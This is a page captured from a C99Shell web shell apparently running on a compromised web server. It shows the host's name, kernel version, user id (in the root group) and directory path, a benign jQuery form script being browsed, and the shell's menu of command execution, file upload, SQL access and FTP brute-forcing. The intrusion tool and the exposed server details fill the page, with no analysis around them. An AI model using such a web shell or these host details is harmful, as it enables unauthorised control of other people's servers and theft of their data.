!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/public/js/customer/   drwxr-xr-x
Free 28.39 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     group.js (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
$('#groups').DataTable({
    processing: true,
    serverSide: true,
    responsive:true,
    ajax:'/group/get',
    columns: [
        { "data": "name" },
        { "data": "contacts" },
        { "data": "status" },
        { "data": "action" },
    ],
    fnInitComplete: function(oSettings, json) {
        $(".show-more").css('overflow', 'hidden').readmore({collapsedHeight: 20,moreLink: '<a href="#">More</a>',lessLink: '<a href="#">Less</a>'});
    }
});


$(function () {
    //Initialize Select2 Elements
    $('.select2').select2({
        ajax: {
            delay: 500,
            url:'/contact/search',
            data: function (params) {
                // Query parameters will be ?search=[term]&page=[page]
                return {
                    search: params.term,
                    page: params.page || 1
                };
            },
            cache: true
        }
    });
});


if (edit) {
    $('#groupForm').validate({
        rules: {
            name: {
                required: true
            }
        },
        messages: {
            name: {required: "Please provide  name"},
        },
        errorElement: 'span',
        errorPlacement: function (error, element) {
            error.addClass('invalid-feedback');
            element.closest('.form-group').append(error);
        },
        highlight: function (element, errorClass, validClass) {
            $(element).addClass('is-invalid');
        },
        unhighlight: function (element, errorClass, validClass) {
            $(element).removeClass('is-invalid');
        }
    });
if(countGroupContactIds < 200) {
    $(function () {
        let preData = groupContactIds;
        var selected = [];
        for (var s in preData) {
            selected.push(preData[s].id);
        }
        $('.select2').select2({
            data: preData,
            ajax: {
                delay: 500,
                url: '/contact/search',
                data: function (params) {
                    // Query parameters will be ?search=[term]&page=[page]
                    return {
                        search: params.term,
                        page: params.page || 1
                    };
                },
                cache: true
            },
        }).val(selected).trigger('change');


    });
}
}else{
    $('#groupForm').validate({
        rules: {
            name: {
                required: true
            }
        },
        messages: {
            name: {required: "Please provide  name"},
        },
        errorElement: 'span',
        errorPlacement: function (error, element) {
            error.addClass('invalid-feedback');
            element.closest('.form-group').append(error);
        },
        highlight: function (element, errorClass, validClass) {
            $(element).addClass('is-invalid');
        },
        unhighlight: function (element, errorClass, validClass) {
            $(element).removeClass('is-invalid');
        }
    });

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0094 ]--